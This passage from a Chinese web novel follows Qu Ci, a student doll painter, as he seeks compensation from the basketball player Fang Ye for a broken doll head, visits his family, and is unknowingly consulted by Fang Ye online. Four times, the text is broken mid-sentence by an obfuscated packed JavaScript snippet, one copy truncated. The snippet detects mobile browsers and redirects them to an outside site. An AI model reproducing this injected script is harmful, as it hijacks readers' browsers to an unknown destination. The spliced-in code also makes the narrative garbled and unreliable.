阮林听着着急,大声道:“怎么叫张嘴就来呢?不信你们自己去打听啊!” “虽然我们不混二次元,但也听说过这些东西价格有高有低,跟球鞋一样,也有限量版,贵的能被炒得到好几万。”应寒推了推鼻梁上的金丝眼镜,他度数不高,有时候戴眼镜纯为装逼。 “对对对,虽然不能完全类比,但差不多。”阮林连忙道。 谁知应寒接下来又说:“但这圈子里边的门道可就多了,价格虚高的也不少,假货更是满天飞,圈内人自己都不好分辨,我们圈外人更是摸不着头脑,难道你们说什么就是什么?” 阮林哽了哽:“你……你这是……什么意思?” “没什么意思。”方谒知道面前的曲辞一直盯着自己,眼都不眨一下,看上去有点不正常,他冷淡地说,“价格不是你们说了就算,我自己会查,还有——” 他目光落在曲辞脸上:“你可以让你的那个客户,把买娃的票据和刚买到的娃娃的合影发给我。” “万一没有呢?她可能会有娃的开箱视频,但怎么会想起来把娃娃和票据放在一起拍照?!” 曲辞觉得这个要求匪夷所思,况且他要怎么向娃娘张口要求人家这个那个的? 人家也是受害人啊! “如果没有这样的合影,我怎么知道你的票据和娃娃是对应的?”方谒也觉得他在无理取闹,“索赔当然要有凭证。如果是二百五百,我现在就能转你,但你张口就是一万,我就算有也不能随便给你,你当我是冤大头吗?” 他本来长得就凶,这会儿更是被这无妄之灾搞得心里不爽,叠加昨晚的“梦游”疑案、一晚上没睡好的debuff,现在属实耐心告罄。 曲辞的情绪还没有平复,方才连语言都组织不好,只能用脸骂人,听阮林替他解释。 可基友已经解释得很清楚了,这个凶神居然还有要赖账的意思! 应寒看出来方谒现在是真的不高兴,于是推了推他:“走吧,还得去训练。”又对曲辞说,“攒好证据再来商量。” 眼看事儿还没说清楚对方就要走,曲辞一把拉住方谒的手腕,大声道:“不能走!你别想耍赖!” 谁知刚被他碰到,方谒就像沾了什么脏东西似地甩开他,甚至后退了一步,平时没什么表情的脸上浮现出明显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345566|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嫌弃:“别动手动脚!” 对方温热的掌心贴在自己的皮肤上,那一阵过电的感觉非常难以形容。 小基佬这是藏不住了吗?!果然就是在找借口纠缠! 曲辞怔了怔,反应过来之后怒道:“这么多人看着呢,谁对你动手动脚?你是什么阿拉丁神灯吗碰你就能许愿?!你害得我现在没办法跟别人交代,还想拍拍屁股走人?!” “那你想怎么样?!”方谒微微仰起下巴,垂眸居高临下地看着他,“说啊!” 曲辞确实不知道该怎么办,他第一次遇上这样的事,现在满心愤怒和心痛还来不及收拾,最理想的情况当然是对方赶紧赔钱,自己心里能踏实一点,然后好好跟娃娘解释,看看是她那边再买一套还是自己去买。 用残存的理智思考,他也能明白,方谒说的并非完全不讲理,可是他就是怕人一走,自己没了证据证人,这件事就彻底没下文了。 所有的一切成本都要自己来承担,那他成什么了?大冤种吗?! 曲辞把手里被踩裂的娃头递过去,义正辞严地说:“你拿着这个,我录视频,你要承认这个娃头是你弄坏的,承诺在我搜集到证据之后照价赔偿,还要对我的客户道个歉!” 方谒笑了,气笑的。 “有病!”他扔下两个字,绕过曲辞,大步离开。 曲辞还想追过去,被应寒拦住。 应寒也表情冷淡地看着他:“没这么为难人的,这么多人看着,难道方谒会赖账?撒泼打滚没有用,只能证明你别有用心!” 说罢跟上了方谒的脚步。 其他特长生见大戏结束,笑嘻嘻纷纷散去,方才一直旁观没吭声的石恒冷笑一声,也走了,只有尹旭和毛彦明过来安慰曲辞。 “我们也不懂这些,没法帮你作证,但方谒不差钱,不至于会耍赖。”尹旭说,“你就照他说的做吧。” 毛彦明挠了挠他那短短的寸头:“是啊曲辞,先消消气,就是个意外,他也不是故意要踩的。” 曲辞知道他们是好意,但是这会儿他对体育生的反感已经快要冲翻天灵盖,说不出理性的话,只是无声地点点头。 俩人说完走了,阮林把散落一地的其他配件收拾整齐,有些难过地小声问他:“辞哥,接下来你打算怎么办?” “先陪我出去走走。”感觉多待在这里一秒钟自己都会爆炸,必须找个空旷无人的地方喘口气才行。 “咣!” 进了寝室门,方谒恼火地一脚把自己的电脑椅踹到了一边。 可怜的椅子重重撞到了阳台门上,发出凄惨的撞击声。 应寒把椅子拉回来,同情地说:“真是无妄之灾,你也消消气,先别急,反正现在得让他拿证据,咱们什么都不管,证据不足这钱就是不能给。” 方谒从领口一扯把身上的T恤脱了,拿出速干T恤换上,黑着脸说:“我可以拖着不给,但那小子难道不会过来缠着我吗?” “也是。可你甘愿给他一万吗?虽然没多少钱,可也太膈应了。” 方谒比方才黑了一度的脸色充分证明了他的心情。 本来就打算提高警惕,谁知道千防万防,没防住老天爷给那小基佬机会。 “太难了,给不给都烦。”应寒也从柜子里拿衣服换,“而且还不知道什么时候是个头,万一他借着这个事儿蹬鼻子上脸怎么办?之前那人也是这样,好心帮忙却被缠上。” 他换好衣服,走到方谒面前,撑着书桌说:“我看反正都是被缠,还不如干脆玩赖,总比亏了钱强。拖着呗,反正咱没损失,你觉得怎么样?” 8. Chapter 8 “啊啊啊啊啊啊啊!” 校园里最偏僻的一角,曲辞对着茂密的小树林疯狂嚎叫。 阮林抱着快递盒子站在一边,非常担心地看着他。 “啊啊啊啊啊啊啊!气死我了气死我了气死我了!” 小树林里扑簌簌地飞起几只鸟,不知道是不是被突然暴走的两脚兽给吓了一跳。 曲辞想踹树,又觉得小树有点无辜,想踢地上的石头,又心疼脚上的鞋,什么都做不了,只能无能狂怒,把昨晚没能喊出来“啊”彻彻底底地释放。 没想到仅仅不到一天的时间,心情已经截然不同。 阮林看他脸色涨红、额头和脖子青筋暴露的样子,有点害怕:“辞哥,你别太生气啊,把自己气坏了不值当的,方谒也没说不还钱,咱们一切往好处想,好不好?” 发泄了小半天的曲辞气喘吁吁地停了下来,感觉身体里所有的力气都被抽空,无力地坐在树林外侧的路牙子上,深深叹了口气。 不远处的火烧云很美好,要是已经顺利把娃寄出的话,这应该会是近日来他心情最好的一次晚霞,但现在他只想跟着放一把火把天堂给烧了。 只是不想冷静也得冷静,他得尽快把这件事跟娃娘说一声。 他向阮林伸手:“把坏了的娃头给我吧。” 阮林从盒子里掏出埃洛伊丝的小脑袋递给他,曲辞捧在手心里,看着那张原本完美无瑕的脸上裂开的痕迹,心口又是一阵钝痛,咬了咬牙,举起手机拍了张照片,编辑好了文字发给娃娘,把事情的来龙去脉说了一遍,再发过去照片。 正想接着打字表示道歉,娃娘一个语音通话就弹了出来,清晰的铃声在寂静的校园一角显得震耳欲聋。 阮林看着都吓了一跳:“盼了那么久的娃被毁了,她一定也很生气。” 人家生气也是正常的,自己接委托,娃在自己手里出了问题,自当承受这些。 曲辞怀揣着纠结的心情点击了接通,对娃娘说:“实在抱歉,我已经在向对方索要赔偿了,不过这是我和他之间的问题,我会先对你进行赔付。你看是由我去收同款的娃回来重新画,还是你亲自下单?一切费用都由我来出。” 话筒里传来娃娘非常爽快的声音,听起来是甜妹也能感觉到性格很飒爽:“我直接打语音过来就是想跟你说千万别上火,咱们又不是第一次合作,彼此之间有信任,能担得住事儿。” “太感谢了。”曲辞有点眼眶发酸,心中的愧疚感更多了几分。 “娃是国外代购的,已经停售了,只能在国内找找有没有人愿意出。”娃娘说,“我问问朋友,你要是不放心也可以找找,我们随时沟通。” 曲辞连忙点头:“好好好,我也多问问,问到了一定告诉你,最近我都不接单了,只把埃洛伊丝做好。” “你的手艺我放心!千万别太着急啊!”娃娘笑着说,“好事儿不怕晚!” 挂上电话,曲辞歪在阮林肩膀上,长长出了一口气。 “还是姐妹好啊!”阮林感叹,在他胳膊上摸了摸,“呼噜呼噜毛,我辞气不着。” 曲辞闭上眼,没吭声。 阮林又说:“这样也好,娃娘那边最开始没留票据和娃的合影,我们再买的时候管出货的要就行了,有凭有据,方谒不会赖账。” 但愿吧,曲辞心想。 希望能尽快找到同款,赶紧把娃画好给娃娘寄过去,才能了却这桩心事,不然心里会一直不舒服。 至于购买凭证,他不好意思管娃娘要,但应该也不难,国外网站可以截图,出货的圈友应该也会有票据,不怕姓方的不认账! “辞,你怎么不说话?你这样我怕怕。”阮林用脑袋轻轻撞了撞他,“在想什么鸭?” 曲辞疲惫地说:“我在想,我想回家。” “啊?回你家吗?现在?你不是十一就要开始打工了吗?还有两天就放假了。”阮林震惊地说,“坐高铁也得五个小时呢,太折腾了!” 原本只是一句撒娇的话,曲辞并没有真想回家,但话一出口,他突然就觉得这个家必须得回。 回去看看老妈,充充电,回来就是全新的阳光小辞! 他深吸一口,坐直身体,掏出手机打开12306:“不坐高铁,买卧铺,睡一晚上明早就到家,然后明晚再坐夜车回来,明天的课你帮我盯着点,实在点名被记了就随它去了,反正我平时没缺过课。” “会不会太赶了,坐一夜车多累啊!”阮林不放心。 曲辞在手机上戳戳戳:“没事,在车上咣咣铛铛的就当睡摇篮了,肯定睡得喷香,放心吧。” 如果人生总要有一次说走就走的旅行,那他的这一次就是回家。 买好票之后,他立刻返回了寝室,简单收拾了书包,带上平板和手绘笔,跑出校门,去商业街买了一些当地特色的小吃和点心,蹦上了去往火车站的地铁。 先不跟老妈说,明天给她一个惊喜。 经过一场酣畅淋漓的晚训,身体里的内啡肽和多巴胺都有充分释放,结束的时候方谒觉得心里轻松了不少,没有之前那种憋屈的感觉。 这种状态在他洗完澡神清气爽之后上升到了顶峰。 或许可以这会儿找那个曲辞聊一聊,把赔偿的事情谈妥,避免过多来往。 应寒出的馊主意方谒有些动心,毕竟见过鬼谁不怕黑,他不想自己赔了钱还赔上心情。 如果心情注定要被毁,那么当然要保住钱。 不过,最后内心的道德感还是占了上风,宁人负我,无我负人,赔钱就赔吧,免得自己良心难安。 况且那娃娃不是要寄出去的吗?最后受损害的可能是陌生人,这样不好。 嚼了几根低脂鸡胸肉干之后,方谒调整好心理预期,去了305。 就算决定要赔钱,他也不打算给得太爽快,以免因为太好说话而被人缠上,所以这次能不能谈拢,还得看对方表现。 305依旧没关门,也没看见那个正对着门口的位置上有人,方谒在门上敲了敲,问道:“谁在?” 一颗脑袋从后面床上探了出来,是石恒。 他有点意外:“我,你找谁?” 方谒走进去,下巴往曲辞的座位上一扬:“他不在?” 就算之前没看见过对方坐在这里,他也能判断出这床属于谁,因为只有这一张上边围了一圈床帘,还加了顶,像个小蒙古包。 床帘是深蓝色的,上边印着小刺猬的图案,这可爱风格跟其他篮球生的粗犷形成鲜明对比。 “没有。”石恒大约猜出是怎么回事,没多问,像条泥鳅一样从床上滑下来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345567|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 方谒端详着曲辞收拾得很整齐却又满满当当的桌子,又问:“一般他什么时候回来?” “这可不好说。”石恒意味深长地说,“有时候可能夜不归宿。” “你们寝没有群吗?他在没在群里打招呼?” “他不怎么和我们说话,要不我问他一句?” 方谒摇头:“不用,等他在的时候再说。” “你是不是来跟他谈判的?就那破娃娃的事?”石恒打探。 方谒睨了他一眼:“你有什么建议?” 曲辞桌子和书架上摆满了各种瓶瓶罐罐和画笔,显然平时会在这里搞他那些二次元创作,虽然石恒跟他关系不对付,但作为室友,应该了解得更多些。 石恒“哼”了一声:“我觉得他就是缺钱了,想找你爆金币。” “为什么这么说?”方谒面无表情地问。 “不知道他是穷还是财迷,反正是钻进钱眼儿里去了。”石恒抱着胳膊,不屑地说,“听说他找了兼职,十一假期就去上班,平时还会画娃娃和缝衣服,估计也能挣不少,这回从你身上赚点差价,他肯定能乐开花。” 说完又嘀咕:“明明一个男的,干的都是小姑娘的事儿,说他不是基佬我都不信!” 方谒倒不觉得打工赚钱有什么问题,多劳多得,总胜过不劳而获。 至于个人爱好,他不予置评。 不过,缺钱或者想赚钱的标签又激起了他新的警惕,毕竟之前那位曾经偷过他的袜子和内裤去卖钱。 “他那些娃娃到底值不值钱?”方谒又问。 “不好说,有的可能值钱,但不至于值一万,我觉得大多数都不值钱。”石恒抬手,“哗啦”一声拉开了曲辞书桌一侧洞洞板上盖着的帘子,露出一面架子的娃头,“你看这个,吓人不!但这些应该都不贵,他拿来练手的,有的画了有的没画。” 方谒肯定不会乱动别人的东西,但既然帘子被掀开了,他不可避免地看一看。 果然,正如石恒先前所说,这一排一排的娃娃头,从上到下、从大到小,都只有脸,没有后脑勺,有的有眼睛还化了妆,有的什么都没有,眼睛部分就是两个窟窿,皮肤颜色从白到棕一应俱全。 看起来的确是有一点瘆人。 想了想,他拿出手机拍了张照,准备去网上搜搜。 拍完之后一扬下巴:“拉上吧。” 石恒听他的话,把帘子拉好。 既然人没在,方谒也就不再多待,转身就走,但走了两步,看见洗手间水池里的盆中泡着几条白色运动袜,又顿住了脚。 转头看石恒:“你们寝室,最近丢过袜子或者什么别的衣服吗?” “这个……好像没有。”石恒想了想,“就曲辞经常威胁我们,要是再不洗衣服就给我们都扔了。你看他柔柔弱弱跟朵小白花似的,实际上是个恶霸,千万别被他装可怜骗了。” 他不知道方谒到底想打听什么,但本着能挑拨就挑拨的理念,决定尽可能给曲辞编造黑料。 反正曲辞说过类似的话,不算造谣。 方谒听了,没什么表情,丢下一句“走了”,就出了305。 曲辞,一个和他生活圈子里的人截然不同的种类,究竟是个怎样的人,很难以下定论。 继续观察。 9. Chapter 9 曲辞买的是绿皮车的卧铺,余票不足,他只能选上铺。 上铺虽清净,可以上车就睡,睡醒下车,但这绿皮车通风不太好,上铺很闷,体感比室外要高出好几度,昨晚在宿舍走廊穿短袖短裤都冷,这会儿躺在上铺狭窄的床上,居然给闷出了一身汗。 加上卧铺那种特有的味道,他实在是睡不太好。 不是他娇气,他从小到大卫生习惯都很好,天生对气味很敏感,这也是他排斥跟体育生同寝的原因之一。 这一晚上曲辞半梦半醒没睡踏实过,醒了睡、睡了醒,五点多钟实在睡不着,从上铺下去,坐在窗边的座位,托着腮隔着窗户看了一场盛大的日出。 心情瞬间好了不少。 他先拿手机把日出给拍了下来,又拿出平板和手绘笔,飞快地涂了一个日出的小画,画上一个枣红色的小刺猬,身上每一根刺都被太阳映照得发光。 因为“辞”谐音“刺”,从下决心开始反抗霸凌开始,曲辞就把自己想象成一只小刺猬,但只会遭遇不公平对待的时候才会张开满身刺。 画完之后,他把照片和小画发到了朋友圈。 【在下告辞】:路遇可爱的日出,见者好运! 几秒钟就收到了阮林的点赞。 曲辞震惊地给他小窗发消息。 【在下告辞】:你这是没睡还是起来了?这么早? 【软软的林】:昨晚水喝多了,起来尿尿,一刷就刷到了我辞的朋友圈,看起来心情不错哇! 【在下告辞】:那必须滴!看见这么美的日出谁心情不好。 【软软的林】:「链接」*n 【软软的林】:昨晚我刷了一下小黄鱼,在上边看到了几个出货的链接,跟埃洛伊丝的娃体有点像,但细节我记不太清了,留给你仔细甄别。 【在下告辞】:行,我昨晚在火车上信号不好,没顾上看,先收下啦!你快继续睡吧,么么哒! 曲辞挨个儿看了那几个链接,可惜都不是埃洛伊丝。 趁着网速还行,他刷了一会儿,存了几个链接,准备等有时间再跟卖家联系。 早上七点多,火车到站,曲辞兴奋地背好书包,蹦蹦跳跳地下了车。 他家在一座县级市,但是经济百强县,还是当地的一个交通小枢纽,因此拥有火车站和高铁站,但高铁站比较偏,火车站离他家就非常近了,出了车站腿儿着十几分钟就能走到家。 现在的曲辞身高腿长,又归家心切,速度比平时更快,七八分钟就到了小区外边的小街,迎面来来往往的都是亲切的家乡人民。 有赶着去上班的叔叔阿姨,还有出来去超市排队领鸡蛋的爷爷奶奶,路边的早餐铺冒出一阵阵白雾一样的蒸汽,经过时能看到刚打开的蒸笼里白白胖胖的大包子,已经有不少人在排队等着买了。 走到那家熟悉的“淑红裁缝铺”外,就听见里边传来吵吵声。 姥姥是烟嗓,声音很有辨识度:“快把那糊涂(玉米粥)喝了,不喝凉了。” 老妈随姥姥,也有点粗喉大嗓:“晾一会儿才好,刚才喝着烫嘴。” 姥姥又说:“你放着放着就凉透了,当我不知道你?!天冷了,喝凉的不好!” 老妈不耐烦:“哎你真烦!没看我忙着呢吗?人家一会儿来拿裤子了!” 哈哈,妈妈也会嫌自己的妈妈烦。 但姥姥当然不会放过她:“谁叫你昨晚光玩手机刷小视频,过两天眼就瞎了!” 听着熟悉又亲切的互怼,曲辞暂时熄火的满心苦闷突然被勾了出来,仿佛一回到家,他就能变回可以任意撒娇的孩子,坚强钻石心一下子就变成了玻璃做的,眼眶猛地一酸,掉了几滴小珍珠。 但他立刻把眼泪一抹,伸开双手化身一个“大”字跳到了裁缝铺门口,大声道:“姥姥老妈,你们的小辞回来啦!” “哎?!辞啊!” “我儿怎么回来了?!” 老妈丢下缝纫机,一个箭步冲了过来,把他往怀里一搂,惊喜地说:“哎哟我的好大儿!怎么又瘦了?!” 姥姥拄着拐杖蹒跚着过来,布满老人斑的脸笑得全是皱纹:“提前放假了?” 老妈离婚之后一个人带着他生活,但前年姥爷去世之后,就把姥姥接了过来,祖孙三代同堂。 自己外出去上学,家里有俩人互相作伴,曲辞也能放心。 老妈松开他,疑惑地说:“不对啊,你不是说十一在学校打工吗?怎么跑回来了?”坏笑了一下,“人家不要你?” “啧,有这么说你好大儿的吗?”曲辞把沉甸甸的书包往旁边桌子上一放,把里边装着的好吃的一点点掏出来,“我今天没课,抽了一天空回来看你们,晚上就回学校,等待十一打工。” 原本还兴致勃勃翻看那些点心的姥姥一下子觉得它们不香了:“晚上就走?着什么急!别打工了,打什么工,你妈又不是养不起你,我退休金都给你。” “我又不是为了赚钱,是为了锻炼。”曲辞微微弯腰,搂着老太太的脖子,笑嘻嘻地说,“刚开学一个月就这么想我啊?等寒假我早点回来,一分钟都不在学校多待!” 姥姥拍拍他的脸:“你说话算话。” “必须算话!”曲辞松开她,坐到缝纫机跟前,“妈,这衣服怎么改?” 老妈端起旁边的玉米粥,一边喝一边说:“你张叔的,裤腰改大点。” “又改啊,这腰得有三尺了吧?他真是被我赵姨养得太好了。”曲辞顺着老妈折好的印子往前送布料,踩动踏板,缝纫机发出“哒哒哒”的声音,尖锐的针头上下翻飞起来。 这是老妈用了二十多年的缝纫机,还是结婚那会儿买的,本来他想给她换一台电动的,但老妈嫌机器上的按钮太多不想学,觉得还是老式踏板机用着习惯,他就没有再坚持。 老妈的裁缝手艺是正经学过的,曲辞从小耳濡目染,看着看着就会了,初中暑假闲着没事儿就给自己裁条短裤上街,还给班里的女生做过连衣裙和短裙,非常受他们欢迎。 高中时候成了汉服爱好者,也开始玩一些cosplay,会缝纫简直疯狂上分,几乎从那会儿起他就成了“少女之友”。 考上大学那年暑假,闲得无聊又想给家里赚点钱,他独辟蹊径,画了几套0-3岁童装的图纸,各做了几套样衣挂在门口招徕客户。 附近小区的新手爸妈和家里长辈看了都很感兴趣,毕竟小孩儿衣服穿不久,在他们小县城的百姓概念里不需要买太贵的,尤其夏天的衣服,只要料子安全、价钱合适就成。 整个个暑假曲辞忙飞了,做了不少小孩儿衣服,带动家里的生意也好了不少,两个多月母子俩赚了一万多块,老妈认为军功章四分之三都归曲辞,曲辞觉得这是自己应该做的,既然老妈不想要电动缝纫机,他就给她买了部新手机。 谁知道老妈后来竟然迷恋上了刷短视频呢。 曲辞只能自我安慰, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345568|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新的好,没旧的那么伤眼。 他突然一回家,姥姥和老妈高兴坏了,让他看店,母女俩手挽手一起去逛市场,大包小包买了不少食材,最引人瞩目的就是几斤大棒骨。 这简直是除过年之外的最高礼遇,只要家里有好事儿,或者给他打牙祭,妈妈一定会炖一锅大骨头给他,大口吃肉,吸骨髓,香得连舌头都能吞了。 曲辞从没有觉得一天的时间可以过得这么快,感觉还没跟母后和太后说上几句话,太阳就落了山。 中午吃的白灼大虾还有炒花蛤,大骨头炖到晚上才进肚,老妈又连汤带肉给他装了两大盒,让他扛回学校跟阮林分着吃。 “辞啊,嘴上别太省,你看你好好的大小伙子,怎么就是不能胖点呢?”姥姥捏捏他的脸颊,又拍拍他的屁股,“就脸和腚有肉。” 老妈深谙现在年轻人的审美追求,一边往他书包里塞东西一边说:“妈,你这么说他可真乐坏了。” “嘿嘿,那必须的,姥儿,你这是对我最真诚的夸奖。”曲辞捋起短袖袖筒,攥着拳弓起瘦长白皙的胳膊,上臂绷出了明显的肌肉团,“看,咱这也是套马的汉子威武雄壮。” 姥姥在他胳膊上拍了一巴掌:“我看你就是仗着年轻!行吧,好好的啊!多照顾自己,有事儿不想跟你妈说,就跟姥儿说,你妈不听话,咱娘俩好。” “哎哟我的妈诶,你老人家挑拨我和我儿的关系都不避着人了是吗?”老妈艰难地把曲辞书包拉链拉上,“这叫什么?大声密谋?” 姥姥直乐:“我就大声密谋怎么了?我跟辞这就叫隔辈儿亲!等回头你有了孙子孙女,你跟他们亲去吧!” 曲辞掂量着被老妈撞得鼓鼓囊囊的书包,感叹:“嚯,跟炸药包似的,不知道能不能过安检。” “我亲自送你去,车站的人我都认识,看哪个不让我曲淑红的儿子进站!”老妈大声说。 老妈当年在客运段工作过,做的是火车乘务员,跟火车站的人确实很熟,但后来为了照顾曲辞就不再跟车,只有基本工资不够养活孩子的,所以才开了裁缝铺。 只是现在火车站的工作人员都换了好几茬,说她全认识,不过是玩笑话罢了。 老妈骑着电动车把曲辞送到进站口,嘱咐道:“别忙着打工挣钱,你锻炼归锻炼,别把自己给累着了,咱家不缺钱,妈养得起你,将来买房首付也都给你存着呢,知道吗?” “知道知道,老妈放心!”曲辞抱起装满母爱的沉甸甸的书包,“妈我走了,你跟姥姥好好保重,几个月之后我就回来了!” 老妈车都没下,冲他摆手:“走吧走吧。” 进了车站,曲辞回头张望,看见老妈打开头盔面罩,抹了抹眼睛。 早上刚到家的时候那种酸涩感又上来了,他掏出证件低头安检,强行压住自己心里沸反盈天的情绪。 现在是满血复活的小辞,加油,干就完了! 一定得把娃钱要回来,绝对不能吃亏! 绝不让家里人为我担心! 方谒,我做鬼也要缠着你! 曲辞上了火车,直接躺到上铺去,这才掏出手机,查阅一整天都没顾得上看的各种社交软件。 知道他在陪家人,阮林很贴心地没有发信息给他,仅仅一天时间也没什么需要自己亲自批阅的事情。 倒是登上企鹅,突然发现有一个新的好友申请: 【你好,想咨询一点关于bjd娃娃的事情。】 10. Chapter 10 这个企鹅号是曲辞跟同好妆师交流用的,以前扩列比较频繁,但最近很少再加新人,跟一些关系比较好的妆师或者娃娘聊天都转到了微信。 看好友申请时间,是傍晚那会儿,已经过去了好几个钟头。 礼貌起见,他先加了这个人,设置为仅聊天,然后谨慎回复。 【一颗果子】:你好,你从哪里看到我的企鹅号呀? 那人看上去像个刚注册的新号,昵称是一串号码,头像还是系统默认,奇奇怪怪的。 等了一会儿不见回复,曲辞切到小黄鱼,继续去找埃洛伊丝的替身娃,谁知刚切过去,屏幕顶上就弹出了新信息。 【一串号码】:我在土豆上查相关信息,翻到了你的笔记,评论里有企鹅号。 【一串号码】:「截图*1」 曲辞定睛一看,那确实是自己小土豆的账号,是去年发过的笔记,简单聊了聊新手怎么鉴别假的bjd娃娃,浏览量和点赞都挺高。 他向来热心,只要能回答的问题都会在评论区回答,偶尔也会留下自己的号码,方便后续联系。 反正企鹅号里只有作品,没有任何私人资料,而且他最近都没更新空间了。 【一颗果子】:原来如此,你好你好。有什么可以帮你的吗? 晚训回来的方谒躺在床上,仰头看着手机。 为了怕被当冤大头,他先是用昨天在曲辞那里拍的照片上网识别了一下,初步了解了bjd娃娃,然后发现这个圈子确实跟篮球鞋一样,鱼龙混杂、良莠不齐,于是又开始搜怎么辨别真伪。 他不知道该去哪里查,直觉上认为这个圈子女孩多,就下载了女孩们爱用的小土豆。 这一天下来抽空看了不少笔记,但鉴于这些内容里太多二次元黑话,他是真看不懂,于是想不如找人直接问问。 正巧翻到一个粉丝挺多的账号,看到贴主很认真地回复评论,觉得此人态度不错,便循着对方留的企鹅号过来试试。 【一串号码】:就是想问问这些娃娃的价格到底水有多深,盗版是不是很多?我纯新人,怕上当。 【一颗果子】:新手娃娘吗?欢迎加入我们的大家庭「欢迎.jpg」 【一串号码】:我男的。 曲辞确实注意到他的档案性别显示“男”,但好多女孩子为了防骚扰,也把自己设置成男孩子,因此他先按照圈子里性别比例默认对方是女孩。 【一颗果子】:那就是娃爹啦!这么巧,我也是男生。 盯着手机的方谒:“……” 又一个玩娃娃的男的? 【一串号码】:你们这行男的多吗? 【一颗果子】:男生确实比女生少一些,不过也是有的哦,不要刻板印象嘛,很多来做壮士的男生本身也是娃爹,或者本身就是学美妆或者美术的,有技术在身上的哟! 【一串号码】:壮士? 【一颗果子】:哈哈,“妆师”谐音啦。 方谒又是有点无语。 这个男生明明知道自己是男的,说话还“哦”“吗”“哟”的,是不是太嗲了? 他在屏幕上打出“做这行的男生是不是都是男同”,然后又逐字删去。 这么问不太合适,万一对方不高兴了,自己还得再去加别人咨询。 等等再说。 【一串号码】:在识别娃娃真伪方面,你有什么建议吗? 曲辞对这个可是相当有发言权,立刻开始滔滔不绝。 【一颗果子】:新手入圈的话,建议从最基础最便宜的娃娃开始入手,不要跟风买顶级娃社的娃,除非你有闲钱,那也得去官网买,或者找信得过的代购。 【一颗果子】:千万不要随便相信一些二手平台流通的产品,虽然有不少是靠谱的同好,但也有很多专骗新手!!!! 【一颗果子】:尤其是打着顶级娃社旗号的那些,贵的娃娃当然有,价格成千上万的也不在少数,更有很多是限量款,没有那么多富余的在市场上流通!好多娃娘抢都抢不到的,怎么还可能拿出来卖! 【一颗果子】:上来就管你要几千过万的绝对不靠谱!补药随便相信!可能真实价格也就二三百!这些你想要就蹲官网,实在蹲不到就算了,反正好娃年年有! 方谒:“……” 果然啊! 网上还是好人多! 【一串号码】:如果对方有购买的票据呢? 看着手机的曲辞无奈地摇了摇头,哎,真是好骗的小萌新。 【一颗果子】:票据也不见得就是真的啊!还有倒卖票据的呢!!! 【一颗果子】:虽然这么说有些绝对,但是你一个新人,就算手把手教你怎么辨别真伪也免不了踩坑,所以干脆一刀切,所有这些贵的都不要相信,就从最便宜的娃买起!!!! 【一颗果子】:买到了D娃(盗版娃)是不会有壮士愿意接妆的哦!还会被壮士和娃娘看不起,这个圈子就彻底对你关上大门了!!!! 曲辞叹息,还是得吓唬吓唬,能救一个是一个! 请叫我天使小辞! 方谒看着手机上满屏的感叹号,一时间觉得眼睛有点吵,但心里更加坚定了此前的想法。 曲辞那个报价一定有水分,绝不能轻易答应! 【一串号码】:多谢,建议收到了。 【一串号码】:「红包」 【一串号码】:一点咨询费,不知道你们行内收多少,不够的话你再说。 曲辞好奇地点开一看,嚯,几句话就给了188,是个善良的人。 这么善良又不差钱的萌新,要是落到假货贩子手里,那不就是任人宰割的羔羊? 一定要拯救! 他当即把红包退了回去。 【一颗果子】:别这么客气,我不收咨询费,有什么问题你尽管问我就好了,只要有时间我都会回答你。 【一颗果子】:如果买到了喜欢的娃,我可以免费给你画,叔体,哦就是男娃,我也OK的!你先感受一下养娃的乐趣,慢慢学习,将来了解了就可以放手养更贵的娃了。 然后他就看屏幕上方显示了半天“对方正在输入”,过了好久都没发过来,不知道是不是在写什么小作文。 曲辞现在心情不错,躺在卧铺上层也没觉得像昨天那么热,就很有耐心地等了一会儿。 然后就见屏幕上蹦出一句—— 【一串号码】:你们男壮士是男同的几率有多大? 曲辞:“……” 这就不太礼貌了。 然后下边又来了一句—— 【一串号码】:你是吗? 曲辞瞬间警惕起来。 这人该不是借着咨询来约炮的吧?! 方谒也知道自己方才的问题不是很礼貌,但自己给过红包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345569|183510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,也算先礼后兵,对方不要是他的决定,和自己没有关系。 反正跟网上陌生人聊没有任何负担。 自己这个号也随时能扔。 